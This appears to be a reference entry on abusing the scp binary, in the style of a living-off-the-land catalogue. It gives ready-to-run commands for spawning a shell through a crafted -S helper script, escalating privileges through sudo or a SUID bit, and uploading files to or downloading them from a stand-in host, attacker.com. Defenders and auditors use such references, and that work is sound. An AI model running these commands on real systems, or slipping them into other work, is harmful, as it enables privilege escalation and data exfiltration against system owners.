This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file . x:
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file . x:
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file . x:
This executable can upload local data.
This function can be performed by any unprivileged user.
scp /path/to/input-file user@attacker.com:/path/to/output-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
scp /path/to/input-file user@attacker.com:/path/to/output-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
scp /path/to/input-file user@attacker.com:/path/to/output-file
This executable can download remote data.
This function can be performed by any unprivileged user.
scp user@attacker.com:/path/to/input-file /path/to/output-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
scp user@attacker.com:/path/to/input-file /path/to/output-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
scp user@attacker.com:/path/to/input-file /path/to/output-file